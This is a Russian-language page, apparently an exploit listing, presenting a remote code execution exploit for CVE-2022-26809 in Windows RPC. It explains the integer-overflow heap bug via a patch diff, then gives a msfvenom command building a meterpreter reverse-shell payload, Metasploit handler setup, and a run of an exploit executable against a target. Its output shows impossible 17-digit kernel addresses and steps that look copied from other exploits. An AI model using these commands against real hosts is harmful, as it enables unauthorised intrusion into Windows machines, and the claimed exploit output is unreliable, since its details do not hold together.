
Эксплойт удаленного выполнения кода для CVE-2022-26809, нацеленный на переполнение кучи в Windows RPC, с интеграцией шеллкода msfvenom и доставкой полезной нагрузки обратного шелла meterpreter.
CVE-2022-26809 — уязвимость в основном компоненте Windows (RPC) получила оценку CVSS 9.8 не без причины, так как атака не требует аутентификации и может быть выполнена удаленно по сети, и может привести к удаленному выполнению кода (RCE) с привилегиями службы RPC, которые зависят от процесса, размещающего среду выполнения RPC. Эта критическая ошибка, при небольшой удаче, позволяет получить доступ к незапатченному узлу Windows с запущенным SMB. Уязвимость может быть использована как извне сети для её взлома, так и между машинами внутри сети.
Информация о поставщике
Проверенные уязвимые хосты:
Мы обновим этот список позже. Мы подозреваем, что почти все сборки с работающим SMB и открытым портом 445 уязвимы.
TCP 135,139,445
В CVE указано, что уязвимости находятся в среде выполнения Windows RPC, которая реализована в библиотеке с именем rpcrt4.dll. Эта библиотека времени выполнения загружается как в клиентские, так и в серверные процессы, использующие протокол RPC для связи. Мы сравнили версии 10.0.22000.434 (мартовская) и 10.0.22000.613 (исправленная) и выделили список изменений.
Функции OSF_SCALL::ProcessResponse и OSF_CCALL::ProcessReceivedPDU схожи по своей природе; обе обрабатывают RPC-пакеты, но одна выполняется на стороне сервера, а другая — на стороне клиента (SCALL и CCALL). При сравнении OSF_SCALL::ProcessReceivedPDU мы заметили два блока кода, которые были добавлены в новую версию.


Глядя на исправленный код, мы увидели, что после QUEUE::PutOnQueue была вызвана новая функция. Исследовав её и углубившись в код, мы поняли, что она проверяет целочисленные переполнения. Другими словами, новая функция в патче была добавлена для проверки того, что целочисленная переменная остаётся в пределах ожидаемого диапазона значений.

Углубляясь в уязвимый код OSF_SCALL::GetCoalescedBuffer, мы заметили, что ошибка целочисленного переполнения может привести к переполнению буфера в куче, когда данные копируются в буфер, слишком маленький для их размещения. Это, в свою очередь, позволяет записывать данные за пределы буфера в куче. При эксплуатации этот примитив приводит нас к удалённому выполнению кода!
Аналогичная проверка на целочисленное переполнение была добавлена и в других функциях:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
Уязвимость целочисленного переполнения и функция, предотвращающая её, существуют как в клиентских, так и в серверных потоках выполнения.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip порт
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!